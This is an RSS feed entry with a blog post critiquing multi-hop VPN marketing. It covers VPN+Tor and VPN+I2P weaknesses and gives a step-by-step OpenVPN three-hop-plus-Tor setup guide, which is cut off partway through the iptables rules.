<rss version="2.0" xmlns:atom="http://www.w3.org/2005/Atom">
    <channel>
        <title>Posts on Hossein Amini</title>
        <link>https://amini.eu/posts/</link>
        <description>Recent content in Posts on Hossein Amini</description>
        <generator>Hugo -- gohugo.io</generator>
        <language>en</language>
        <copyright>&lt;a href=&#34;https://creativecommons.org/licenses/by-nc/4.0/&#34; target=&#34;_blank&#34; rel=&#34;noopener&#34;&gt;CC BY-NC 4.0&lt;/a&gt;</copyright>
        <lastBuildDate>Mon, 16 Feb 2026 00:00:00 +0000</lastBuildDate>
        <atom:link href="https://amini.eu/posts/index.xml" rel="self" type="application/rss+xml" />
        
        <item>
            <title>XhopVPNs: The Truth Behind the Marketing</title>
            <link>https://amini.eu/posts/2026/02/xhopvpns-the-truth-behind-the-marketing/</link>
            <pubDate>Mon, 16 Feb 2026 00:00:00 +0000</pubDate>
            
            <guid>https://amini.eu/posts/2026/02/xhopvpns-the-truth-behind-the-marketing/</guid>
            <description>A technical analysis of multi-hop VPNs, Tor, and I2P configurations
The VPN market is saturated with providers promising ironclad security and absolute anonymity. Among the most aggressively marketed products are multi-hop VPNs — sold under names like DoubleVPN, TripleVPN, or the increasingly grandiose XhopVPN, 2XhopVPN, and X^YhopVPN.
More recent offerings bundle even more complexity: XhopVPN + Tor + &amp;ldquo;Super Duper Anonymous&amp;rdquo; packages that combine a VPN, Tor access, and remote desktop services — all marketed as ultimate privacy.</description>
            <content type="html"><![CDATA[<blockquote>
<p><strong>A technical analysis of multi-hop VPNs, Tor, and I2P configurations</strong></p>
</blockquote>
<p><img src="https://res.cloudinary.com/amini/image/upload/v1771248994/tony-wan-JdEBr4Gq8UM-unsplash_jdghqg.jpg" alt="Security layers"></p>
<p>The VPN market is saturated with providers promising <strong>ironclad security</strong> and <strong>absolute anonymity</strong>. Among the most aggressively marketed products are multi-hop VPNs — sold under names like <code>DoubleVPN</code>, <code>TripleVPN</code>, or the increasingly grandiose <code>XhopVPN</code>, <code>2XhopVPN</code>, and <code>X^YhopVPN</code>.</p>
<p>More recent offerings bundle even more complexity: <strong>XhopVPN + Tor + &ldquo;Super Duper Anonymous&rdquo;</strong> packages that combine a VPN, Tor access, and remote desktop services — all marketed as ultimate privacy.</p>
<blockquote>
<p><strong>Key point:</strong> These products are marketed as impenetrable fortresses of online privacy. In practice, they deliver slower connections, an increased attack surface, and in many cases <em>less</em> security than a well-configured single-hop VPN from a reputable provider.</p>
</blockquote>
<p>These are legitimate network architectures — but they are systematically <strong>oversold and misrepresented</strong> to consumers who pay a premium for complexity they don&rsquo;t need.</p>
<hr>
<h2 id="core-technical-problems">Core Technical Problems</h2>
<h3 id="increased-attack-surface">Increased Attack Surface</h3>
<p>Every additional server in the chain is an additional point of failure. More components means:</p>
<ul>
<li><strong>More servers to trust</strong> — each one is a potential breach or legal vulnerability</li>
<li><strong>More complex routing</strong> — harder to configure, audit, and secure</li>
<li><strong>Greater exposure</strong> — if one hop is compromised, the entire chain weakens</li>
</ul>
<h3 id="single-provider-trust-concentration">Single Provider Trust Concentration</h3>
<p>When a single vendor controls your VPN, your Tor access, <em>and</em> your remote desktop, you have not gained privacy — you have <strong>centralized all trust into one entity</strong>.</p>
<p>A breach of their systems, or a legal compulsion order, exposes everything at once. The &ldquo;multi-hop&rdquo; architecture becomes meaningless if all hops are controlled by the same organization.</p>
<h3 id="the-encryption-myth">The Encryption Myth</h3>
<p>Vendors often claim that encrypting your data <em>multiple times</em> provides proportionally stronger protection. This is <strong>technically misleading</strong>.</p>
<p>OpenVPN&rsquo;s AES-256 encryption is already computationally infeasible to brute-force. Layering it does not add meaningful cryptographic strength — it only adds overhead and latency. Furthermore, sophisticated adversaries with resources to monitor multiple network points can still use <strong>traffic correlation attacks</strong> to de-anonymize users regardless of hop count.</p>
<h3 id="performance-degradation">Performance Degradation</h3>
<p>Each additional hop adds:</p>
<table>
<thead>
<tr>
<th>Factor</th>
<th>Impact</th>
</tr>
</thead>
<tbody>
<tr>
<td>Latency</td>
<td>Each relay introduces measurable delay</td>
</tr>
<tr>
<td>Bandwidth</td>
<td>Throughput decreases at every node</td>
</tr>
<tr>
<td>Encryption overhead</td>
<td>Each OpenVPN instance runs its own encrypt/decrypt cycle</td>
</tr>
</tbody>
</table>
<p>The result is a painfully slow connection that undermines the legitimate use cases for which people purchase VPNs in the first place.</p>
<hr>
<h2 id="openvpn--tor-technical-analysis">OpenVPN + Tor: Technical Analysis</h2>
<h3 id="when-vpn-over-tor-may-help">When VPN Over Tor May Help</h3>
<p>There is one narrow scenario where combining a VPN with Tor provides a marginal benefit:</p>
<ul>
<li><strong>Non-HTTPS sites via Tor:</strong> A malicious Tor exit relay could read unencrypted HTTP traffic. A VPN layer would encrypt it in transit.</li>
</ul>
<blockquote>
<p><strong>Context:</strong> HTTPS adoption is now extremely widespread. This edge case is rarely relevant in modern browsing. For HTTPS destinations, the VPN layer adds nothing to confidentiality — traffic is already encrypted end-to-end between your browser and the server.</p>
</blockquote>
<h3 id="why-openvpn--tor-is-usually-counterproductive">Why OpenVPN + Tor Is Usually Counterproductive</h3>
<p>The more common configuration actually introduces new problems. Each issue below is not a theoretical edge case — it is a predictable, structural consequence of how these two systems interact at the protocol level.</p>
<hr>
<h4 id="problem-1-your-vpn-provider-becomes-your-tor-entry-point">Problem 1: Your VPN Provider Becomes Your Tor Entry Point</h4>
<p>Tor&rsquo;s anonymity model assumes that <strong>no single party can observe both ends of your connection</strong>. The guard node (first Tor relay) only knows your IP. The exit node only knows the destination. Neither knows both. This separation is foundational.</p>
<p>When you tunnel Tor through a VPN, your VPN provider sees:</p>
<ul>
<li>Your <strong>real IP address</strong></li>
<li>The fact that you are <strong>connecting to a Tor guard node</strong></li>
<li>The <strong>timing and volume</strong> of your Tor traffic</li>
</ul>
<p>They cannot see what&rsquo;s inside the Tor circuit, but that doesn&rsquo;t matter for entry/exit correlation attacks. Your VPN provider has effectively become an <strong>always-on observer at the entry point</strong> of your Tor usage — a single entity that could be subpoenaed, hacked, or simply compelled to log. Tor&rsquo;s decentralized guard node rotation is now irrelevant, because one chokepoint can see all your Tor connections.</p>
<blockquote>
<p>This is precisely the threat model Tor&rsquo;s guard node system was designed to defend against. You have re-introduced it by choice.</p>
</blockquote>
<hr>
<h4 id="problem-2-trust-is-shifted-in-the-wrong-direction">Problem 2: Trust Is Shifted in the Wrong Direction</h4>
<p>Tor&rsquo;s threat model is built on <strong>distributed distrust</strong> — no single relay needs to be trusted because each relay only sees a fragment of the picture. When you add a VPN in front:</p>
<ul>
<li>You now have a <strong>single centralized party</strong> (your VPN provider) who knows you use Tor, when you use it, and for how long</li>
<li>If that provider is compromised or coerced, all your Tor sessions are linkable to your identity</li>
<li>A malicious VPN provider can perform <strong>timing correlation</strong> on your entry/exit traffic without ever breaking Tor&rsquo;s encryption</li>
</ul>
<p>Tor&rsquo;s guard node system already provides persistent first-hop protection. Replacing it with a commercial VPN provider — who operates under a jurisdiction, has financial incentives, and may be subject to legal pressure — is a security downgrade, not an upgrade.</p>
<hr>
<h4 id="problem-3-traffic-correlation-and-timing-attacks">Problem 3: Traffic Correlation and Timing Attacks</h4>
<p>Even without breaking encryption, a sufficiently resourced adversary can de-anonymize Tor users through <strong>end-to-end traffic correlation</strong>: observing traffic patterns at the entry and exit simultaneously. This is a known limitation of Tor.</p>
<p>Adding a VPN does not help here — it makes things worse:</p>
<ul>
<li>Your VPN provider sees <strong>all your Tor entry traffic</strong> with precise timestamps</li>
<li>An adversary who compromises or subpoenas your VPN provider now has <strong>one centralized log</strong> of all your Tor session timings, instead of having to coordinate across multiple independent guard nodes</li>
<li>The attack surface for correlation shifts from &ldquo;monitor multiple Tor relays&rdquo; (hard) to &ldquo;obtain records from one VPN provider&rdquo; (comparatively easy)</li>
</ul>
<p>The decentralization that makes Tor resilient against correlation attacks is <strong>exactly what you eliminate</strong> when you funnel everything through a single VPN.</p>
<hr>
<h4 id="problem-4-dns-leak-vectors">Problem 4: DNS Leak Vectors</h4>
<p>DNS is one of the most common and overlooked anonymity failure points. In a properly configured Tor setup, the <strong>Tor client handles all DNS resolution internally</strong> — DNS queries never leave the Tor network and are resolved by the exit relay. This is correct behavior.</p>
<p>When OpenVPN is layered on top, several misconfiguration paths create leaks:</p>
<p><strong>Scenario A — Conflicting DNS servers:</strong>
Your OpenVPN client pushes its own DNS servers (e.g. <code>8.8.8.8</code>). If your OS or application resolves DNS through those pushed servers before the Tor client intercepts the query, the DNS request bypasses Tor entirely and is visible to your ISP or the VPN provider&rsquo;s DNS resolver.</p>
<p><strong>Scenario B — Split tunnel DNS:</strong>
If your VPN is not configured with <code>redirect-gateway def1</code>, or if there is a routing table conflict, some traffic (including DNS) may use the default gateway — sending queries in cleartext outside both the VPN tunnel and Tor.</p>
<p><strong>Scenario C — Application-level DNS bypass:</strong>
Some applications (notably those using their own DNS stacks, or DNS-over-HTTPS with hardcoded resolvers) will bypass the system resolver entirely. In a VPN+Tor setup, these application-level queries are particularly difficult to intercept and redirect correctly.</p>
<p><strong>Scenario D — IPv6 leaks:</strong>
OpenVPN by default may not block IPv6. If your system has IPv6 connectivity and your VPN does not explicitly block or tunnel it, IPv6 DNS queries and connections will bypass the VPN tunnel and Tor entirely — often going directly to your ISP.</p>
<p>To fully prevent these leaks, you need to:</p>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Block all IPv6 to prevent bypass</span>
</span></span><span style="display:flex;"><span>sudo ip6tables -P INPUT DROP
</span></span><span style="display:flex;"><span>sudo ip6tables -P OUTPUT DROP
</span></span><span style="display:flex;"><span>sudo ip6tables -P FORWARD DROP
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Ensure all DNS is forced through the VPN tunnel</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># In OpenVPN config:</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># push &#34;dhcp-option DNS &lt;vpn-internal-dns&gt;&#34;</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># push &#34;block-outside-dns&#34;   ← Windows only; Linux needs iptables</span>
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Force DNS through Tor on Linux (after VPN tunnel is up)</span>
</span></span><span style="display:flex;"><span>sudo iptables -t nat -A OUTPUT -p udp --dport <span style="color:#ae81ff">53</span> -j REDIRECT --to-ports <span style="color:#ae81ff">5353</span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># (where 5353 is Tor&#39;s DNSPort)</span>
</span></span></code></pre></div><p>Most users combining OpenVPN and Tor <strong>do not configure all of this correctly</strong>, and leak DNS queries as a result.</p>
<hr>
<h4 id="problem-5-traffic-fingerprinting">Problem 5: Traffic Fingerprinting</h4>
<p>Tor traffic already has a recognizable pattern — fixed cell sizes (512 bytes), characteristic timing, and TLS fingerprints from the Tor TLS handshake. Deep Packet Inspection (DPI) systems can identify Tor traffic with high confidence even when it is obfuscated.</p>
<p>OpenVPN adds its own distinct layer on top:</p>
<ul>
<li>OpenVPN has <strong>identifiable TLS handshake patterns</strong> (specific cipher suite negotiation, certificate format, packet timing)</li>
<li>The <strong>combination</strong> of an OpenVPN envelope containing Tor-shaped traffic produces a traffic profile that is potentially more unique than either alone</li>
<li>Some DPI systems specifically look for the pattern of &ldquo;OpenVPN tunnel → Tor-like encrypted payload&rdquo; as an indicator of sophisticated evasion — which can itself attract scrutiny</li>
</ul>
<p>If your goal is to hide the fact that you are using Tor from your ISP, using OpenVPN as an obfuscation layer is <strong>not a reliable method</strong>. Tor&rsquo;s own <strong>pluggable transports</strong> (obfs4, Snowflake, meek) are purpose-built for this and far more effective, because they are specifically designed to defeat the DPI systems that identify Tor.</p>
<blockquote>
<p>If you need to hide Tor usage from your ISP, use a Tor bridge with <strong>obfs4 or Snowflake</strong> — not a commercial VPN.</p>
</blockquote>
<hr>
<h4 id="problem-6-compounded-latency-and-the-practical-unusability-problem">Problem 6: Compounded Latency and the Practical Unusability Problem</h4>
<p>Tor already introduces significant latency by design. Each circuit uses <strong>three relays</strong>, each performing public-key cryptography for circuit construction and symmetric encryption for every cell in both directions. Typical Tor latency for a full round-trip is 200–500 ms under normal conditions, and much higher under load.</p>
<p>OpenVPN adds its own overhead on top:</p>
<table>
<thead>
<tr>
<th>Layer</th>
<th>Typical Added Latency</th>
<th>Cause</th>
</tr>
</thead>
<tbody>
<tr>
<td>OpenVPN TLS handshake</td>
<td>100–300 ms (connection setup)</td>
<td>RSA/ECDH key exchange</td>
</tr>
<tr>
<td>OpenVPN per-packet overhead</td>
<td>5–20 ms per packet</td>
<td>TLS record processing, <code>tun</code> device I/O</td>
</tr>
<tr>
<td>VPN server routing</td>
<td>10–50 ms</td>
<td>Geographic distance, server load</td>
</tr>
<tr>
<td>Tor circuit (3 relays)</td>
<td>200–500 ms</td>
<td>Multi-hop routing, onion encryption</td>
</tr>
<tr>
<td><strong>Combined round-trip</strong></td>
<td><strong>315–870 ms typical</strong></td>
<td>All of the above, sequentially</td>
</tr>
</tbody>
</table>
<p>At these latencies, interactive use (web browsing, HTTPS APIs, anything that requires multiple sequential round-trips) becomes painful. Page loads that require 20–30 sequential HTTP requests can take 30–60 seconds. Streaming is effectively impossible. Video calls are non-functional.</p>
<p><strong>The practical result is that users compromise their setup.</strong> Faced with an unusable connection, users typically:</p>
<ol>
<li>Disable the VPN and use Tor alone (the correct setup to begin with)</li>
<li>Disable Tor and use only the VPN (losing anonymity entirely)</li>
<li>Use neither for sensitive activities (defeating the entire purpose)</li>
</ol>
<p>The complexity of the combined setup does not just fail technically — it fails <strong>behaviorally</strong> by making secure usage so inconvenient that users route around it.</p>
<hr>
<h4 id="problem-7-redundant-encryption-providing-no-real-benefit">Problem 7: Redundant Encryption Providing No Real Benefit</h4>
<p>A common justification for the VPN+Tor combination is that it provides &ldquo;extra encryption.&rdquo; This is true in a narrow technical sense and irrelevant in practice.</p>
<p>Tor already uses <strong>layered public-key and symmetric encryption</strong>:</p>
<ul>
<li>Circuit construction uses <strong>ECDH (ntor protocol)</strong> for key exchange with each of the three relays</li>
<li>Data is encrypted with <strong>AES-128-CTR</strong> for each layer (three independent encryption layers)</li>
<li>Each relay peels one layer; no relay sees both the source and the plaintext destination</li>
</ul>
<p>Adding AES-256-CBC (OpenVPN&rsquo;s default) on the outside of three nested AES-128-CTR layers provides <strong>zero additional protection against any realistic adversary</strong>. No adversary breaking Tor-protected traffic is doing so by cryptanalyzing AES. They are using:</p>
<ul>
<li><strong>Traffic correlation</strong> (not stopped by more encryption)</li>
<li><strong>Legal compulsion</strong> (not stopped by more encryption)</li>
<li><strong>Endpoint compromise</strong> (not stopped by more encryption)</li>
<li><strong>Browser fingerprinting</strong> (not stopped by more encryption)</li>
</ul>
<p>The extra encryption layer addresses none of the actual attack vectors. It is security theater.</p>
<hr>
<h4 id="summary">Summary</h4>
<table>
<thead>
<tr>
<th>Problem</th>
<th>Root Cause</th>
<th>Does More Encryption Fix It?</th>
</tr>
</thead>
<tbody>
<tr>
<td>VPN provider sees all Tor usage</td>
<td>Centralized entry point</td>
<td>No</td>
</tr>
<tr>
<td>Trust shifted to single entity</td>
<td>Architecture, not cryptography</td>
<td>No</td>
</tr>
<tr>
<td>Timing/correlation attacks easier</td>
<td>One provider holds all entry logs</td>
<td>No</td>
</tr>
<tr>
<td>DNS leak risk</td>
<td>Misconfiguration surface area increased</td>
<td>No</td>
</tr>
<tr>
<td>Traffic fingerprinting worsened</td>
<td>Distinctive combined protocol signature</td>
<td>No</td>
</tr>
<tr>
<td>Unusable latency</td>
<td>Physics of multi-hop routing</td>
<td>No</td>
</tr>
<tr>
<td>Redundant encryption</td>
<td>AES-256 on AES-128 provides no gain</td>
<td>N/A</td>
</tr>
</tbody>
</table>
<p>From a strict anonymity perspective, <strong>adding OpenVPN to Tor provides no discernible benefit</strong> against any realistic threat model. Tor&rsquo;s layered encryption and decentralized routing already handle what OpenVPN attempts to add. Instead of enhancing security, the combination introduces unnecessary complexity, degrades performance to the point of practical unusability, and in several respects actively weakens the anonymity guarantees that Tor was designed to provide.</p>
<hr>
<h2 id="vpn--i2p-configurations">VPN + I2P Configurations</h2>
<h3 id="vpn-into-i2p-vpn--i2p">VPN Into I2P (VPN → I2P)</h3>
<p>Your VPN server becomes the entry point into the I2P network. The VPN provider knows you are using I2P, but cannot see the encrypted I2P traffic content. I2P destinations still only see traffic originating from within the I2P network.</p>
<p>The <strong>only marginal benefit</strong> is hiding I2P usage from your ISP — at the cost of introducing your VPN provider as an additional trust party.</p>
<h3 id="i2p-into-vpn-i2p--vpn">I2P Into VPN (I2P → VPN)</h3>
<p>Traffic passes through I2P before reaching your VPN server. This configuration has <strong>no clear anonymity benefit</strong> and exposes you to I2P network vulnerabilities without corresponding gains. It is unclear what threat model this addresses.</p>
<h3 id="performance-impact">Performance Impact</h3>
<p>I2P, like Tor, is already significantly slower than direct connections due to its own multi-hop routing and encryption. Adding a VPN compounds this:</p>
<ul>
<li><strong>OpenVPN</strong> — significant additional overhead from TLS handshake and per-packet processing</li>
<li><strong>WireGuard</strong> — smaller overhead than OpenVPN, but the improvement is minimal in this context</li>
</ul>
<blockquote>
<p><strong>Recommendation:</strong> In most cases, I2P alone is sufficient for anonymous communication within the I2P network. Adding a VPN is unlikely to provide meaningful benefits and may be counterproductive depending on your threat model.</p>
</blockquote>
<hr>
<h2 id="common-marketing-claims--fact-check">Common Marketing Claims — Fact Check</h2>
<table>
<thead>
<tr>
<th>Claim</th>
<th>Reality</th>
</tr>
</thead>
<tbody>
<tr>
<td><strong>&ldquo;XhopVPN Encryption&rdquo;</strong></td>
<td>Multiple encryption layers don&rsquo;t proportionally increase security. AES-256 is already unbreakable in practice. Extra layers add overhead and potential new attack vectors.</td>
</tr>
<tr>
<td><strong>&ldquo;High Speed &amp; Unlimited Bandwidth&rdquo;</strong></td>
<td>Physically impossible with multiple hops. Each relay increases latency and reduces throughput. Encryption overhead at every hop makes this worse, not better.</td>
</tr>
<tr>
<td><strong>&ldquo;No Logs Policy&rdquo;</strong></td>
<td>Even with a no-logs policy, the provider observes your IP address and traffic destinations at entry and exit points. <em>&ldquo;No logs&rdquo;</em> is not <em>&ldquo;no knowledge.&rdquo;</em> At best, 99% of such claims are unverifiable.</td>
</tr>
<tr>
<td><strong>&ldquo;Protection on Public Wi-Fi&rdquo;</strong></td>
<td>A standard feature of <em>any</em> VPN, not a multi-hop benefit. A single-hop VPN provides identical protection on public networks.</td>
</tr>
</tbody>
</table>
<hr>
<h2 id="3-hop-vpn--tor">3-Hop VPN + Tor</h2>
<blockquote>
<p><strong>Purpose:</strong> The following is provided for educational purposes only — to understand the underlying architecture. You do not need to pay a vendor for this. You can build it yourself on commodity VPS instances.</p>
</blockquote>
<h3 id="architecture-overview">Architecture Overview</h3>
<pre tabindex="0"><code>Client (You)
  └─── Server A  (OpenVPN, port 1194)
         └─── Server B  (OpenVPN, port 1195)
                └─── Server C  (OpenVPN, port 1196)
                       └─── Tor Network ──► Internet
</code></pre><h3 id="server-addressing-reference">Server Addressing Reference</h3>
<table>
<thead>
<tr>
<th>Node</th>
<th>Public IP</th>
<th>OpenVPN Subnet</th>
<th>Internal Network</th>
</tr>
</thead>
<tbody>
<tr>
<td>Server A</td>
<td><code>YOUR_SERVER_A_IP</code></td>
<td><code>10.8.0.0/24</code></td>
<td><code>192.168.1.0/24</code></td>
</tr>
<tr>
<td>Server B</td>
<td><code>YOUR_SERVER_B_IP</code></td>
<td><code>10.9.0.0/24</code></td>
<td><code>192.168.2.0/24</code></td>
</tr>
<tr>
<td>Server C</td>
<td><code>YOUR_SERVER_C_IP</code></td>
<td><code>10.10.0.0/24</code></td>
<td><code>192.168.3.0/24</code></td>
</tr>
<tr>
<td>Tor</td>
<td>—</td>
<td><code>10.192.0.0/10</code></td>
<td><em>(virtual, in torrc)</em></td>
</tr>
</tbody>
</table>
<hr>
<h3 id="server-a">Server A</h3>
<h4 id="step-1--install-openvpn-and-generate-certificates">Step 1 — Install OpenVPN and Generate Certificates</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /usr/share/easy-rsa/
</span></span><span style="display:flex;"><span>./easyrsa init-pki
</span></span><span style="display:flex;"><span>./easyrsa build-ca nopass
</span></span><span style="display:flex;"><span>./easyrsa build-server-full serverA nopass
</span></span><span style="display:flex;"><span>./easyrsa gen-dh
</span></span><span style="display:flex;"><span>./easyrsa build-client-full serverB nopass   <span style="color:#75715e"># cert for Server B&#39;s client connection</span>
</span></span><span style="display:flex;"><span>./easyrsa build-client-full client nopass    <span style="color:#75715e"># cert for end-user client</span>
</span></span><span style="display:flex;"><span>openvpn --genkey secret pki/ta.key
</span></span></code></pre></div><h4 id="step-2--copy-keys-to-correct-locations">Step 2 — Copy Keys to Correct Locations</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Server keys</span>
</span></span><span style="display:flex;"><span>sudo cp pki/ca.crt pki/issued/serverA.crt pki/private/serverA.key <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>        pki/dh.pem pki/ta.key /etc/openvpn/server/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Keys Server B will need (transfer securely)</span>
</span></span><span style="display:flex;"><span>sudo cp pki/issued/serverB.crt pki/private/serverB.key <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>        pki/ca.crt /etc/openvpn/client/
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Keys end-user client will need (transfer securely)</span>
</span></span><span style="display:flex;"><span>mkdir /root/client-configs
</span></span><span style="display:flex;"><span>sudo cp pki/ca.crt pki/issued/client.crt pki/private/client.key <span style="color:#ae81ff">\
</span></span></span><span style="display:flex;"><span><span style="color:#ae81ff"></span>        pki/ta.key /root/client-configs/
</span></span></code></pre></div><h4 id="step-3--serveraconf">Step 3 — <code>serverA.conf</code></h4>
<pre tabindex="0"><code>port 1194
proto udp
dev tun
ca   ca.crt
cert serverA.crt
key  serverA.key
dh   dh.pem

server 10.8.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt

push &#34;redirect-gateway def1 bypass-dhcp&#34;
push &#34;dhcp-option DNS 8.8.8.8&#34;
push &#34;dhcp-option DNS 8.8.4.4&#34;
push &#34;route 192.168.2.0 255.255.255.0&#34;   # Route traffic toward Server B&#39;s network

client-to-client
keepalive 10 120
tls-auth ta.key 0
cipher AES-256-CBC
persist-key
persist-tun
status openvpn-status.log
verb 3
explicit-exit-notify 1
</code></pre><h4 id="step-4--enable-ip-forwarding-and-start-service">Step 4 — Enable IP Forwarding and Start Service</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo sysctl -w net.ipv4.ip_forward<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;net.ipv4.ip_forward=1&#34;</span> | sudo tee -a /etc/sysctl.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo systemctl start  openvpn-server@serverA
</span></span><span style="display:flex;"><span>sudo systemctl enable openvpn-server@serverA
</span></span></code></pre></div><hr>
<h3 id="server-b">Server B</h3>
<h4 id="step-1--generate-certificates">Step 1 — Generate Certificates</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /usr/share/easy-rsa/
</span></span><span style="display:flex;"><span>./easyrsa init-pki
</span></span><span style="display:flex;"><span>./easyrsa build-ca nopass
</span></span><span style="display:flex;"><span>./easyrsa build-server-full serverB nopass
</span></span><span style="display:flex;"><span>./easyrsa gen-dh
</span></span><span style="display:flex;"><span>./easyrsa build-client-full serverC nopass   <span style="color:#75715e"># cert for Server C&#39;s client connection</span>
</span></span><span style="display:flex;"><span>openvpn --genkey secret pki/ta.key
</span></span></code></pre></div><h4 id="step-2--serverbconf">Step 2 — <code>serverB.conf</code></h4>
<pre tabindex="0"><code>port 1195
proto udp
dev tun
ca   ca.crt
cert serverB.crt
key  serverB.key
dh   dh.pem

server 10.9.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt

push &#34;redirect-gateway def1 bypass-dhcp&#34;
push &#34;dhcp-option DNS 8.8.8.8&#34;
push &#34;dhcp-option DNS 8.8.4.4&#34;
push &#34;route 192.168.3.0 255.255.255.0&#34;   # Route traffic toward Server C&#39;s network

client-to-client
keepalive 10 120
tls-auth ta.key 0
cipher AES-256-CBC
persist-key
persist-tun
status openvpn-status.log
verb 3
explicit-exit-notify 1
</code></pre><h4 id="step-3--clientaconf-server-b-connects-upstream-to-server-a">Step 3 — <code>clientA.conf</code> (Server B connects upstream to Server A)</h4>
<pre tabindex="0"><code>client
dev tun
proto udp
remote YOUR_SERVER_A_PUBLIC_IP 1194

resolv-retry infinite
nobind
persist-key
persist-tun

ca   ca.crt
cert serverB.crt
key  serverB.key

remote-cert-tls server
tls-auth ta.key 1
cipher AES-256-CBC
verb 3
</code></pre><h4 id="step-4--enable-forwarding-and-start-services">Step 4 — Enable Forwarding and Start Services</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>sudo sysctl -w net.ipv4.ip_forward<span style="color:#f92672">=</span><span style="color:#ae81ff">1</span>
</span></span><span style="display:flex;"><span>echo <span style="color:#e6db74">&#34;net.ipv4.ip_forward=1&#34;</span> | sudo tee -a /etc/sysctl.conf
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span>sudo systemctl start  openvpn-server@serverB <span style="color:#f92672">&amp;&amp;</span> sudo systemctl enable openvpn-server@serverB
</span></span><span style="display:flex;"><span>sudo systemctl start  openvpn-client@clientA <span style="color:#f92672">&amp;&amp;</span> sudo systemctl enable openvpn-client@clientA
</span></span></code></pre></div><hr>
<h3 id="server-c-openvpn--tor">Server C (OpenVPN + Tor)</h3>
<h4 id="step-1--generate-certificates-1">Step 1 — Generate Certificates</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span>cd /usr/share/easy-rsa/
</span></span><span style="display:flex;"><span>./easyrsa init-pki
</span></span><span style="display:flex;"><span>./easyrsa build-ca nopass
</span></span><span style="display:flex;"><span>./easyrsa build-server-full serverC nopass
</span></span><span style="display:flex;"><span>./easyrsa gen-dh
</span></span><span style="display:flex;"><span>openvpn --genkey secret pki/ta.key
</span></span></code></pre></div><h4 id="step-2--servercconf">Step 2 — <code>serverC.conf</code></h4>
<pre tabindex="0"><code>port 1196
proto udp
dev tun
ca   ca.crt
cert serverC.crt
key  serverC.key
dh   dh.pem

server 10.10.0.0 255.255.255.0
ifconfig-pool-persist ipp.txt

push &#34;redirect-gateway def1 bypass-dhcp&#34;
push &#34;dhcp-option DNS 8.8.8.8&#34;
push &#34;dhcp-option DNS 8.8.4.4&#34;

client-to-client
keepalive 10 120
tls-auth ta.key 0
cipher AES-256-CBC
persist-key
persist-tun
status openvpn-status.log
verb 3
explicit-exit-notify 1
</code></pre><h4 id="step-3--clientbconf-server-c-connects-upstream-to-server-b">Step 3 — <code>clientB.conf</code> (Server C connects upstream to Server B)</h4>
<pre tabindex="0"><code>client
dev tun
proto udp
remote YOUR_SERVER_B_PUBLIC_IP 1195

resolv-retry infinite
nobind
persist-key
persist-tun

ca   ca.crt
cert serverC.crt
key  serverC.key

remote-cert-tls server
tls-auth ta.key 1
cipher AES-256-CBC
verb 3
</code></pre><h4 id="step-4--configure-tor">Step 4 — Configure Tor</h4>
<p>Append to <code>/etc/tor/torrc</code>:</p>
<pre tabindex="0"><code>VirtualAddrNetworkIPv4 10.192.0.0/10
AutomapHostsOnResolve 1
TransPort 9040
TransListenAddress 192.168.3.1
DNSPort 53
DNSListenAddress 192.168.3.1
</code></pre><h4 id="step-5--iptables-rules-for-tor">Step 5 — iptables Rules for Tor</h4>
<div class="highlight"><pre tabindex="0" style="color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;"><code class="language-bash" data-lang="bash"><span style="display:flex;"><span><span style="color:#75715e"># Accept Tor transparent proxy and DNS traffic from the VPN tunnel</span>
</span></span><span style="display:flex;"><span>sudo iptables -A INPUT -i tun+ -p tcp --dport <span style="color:#ae81ff">9040</span> -j ACCEPT
</span></span><span style="display:flex;"><span>sudo iptables -A INPUT -i tun+ -p udp --dport <span style="color:#ae81ff">53</span>  -j ACCEPT
</span></span><span style="display:flex;"><span>
</span></span><span style="display:flex;"><span><span style="color:#75715e"># Redirect all TCP from the tunnel through Tor&#39;s transparent proxy</span>
</span></span><span style="display:flex;"><span>sudo iptables -t nat -A PREROUTING -i tun+ -p tcp -j REDIRECT --to-ports <span style="color:#ae81ff">9040</span>
</span></span><span style="display:flex;"><span>
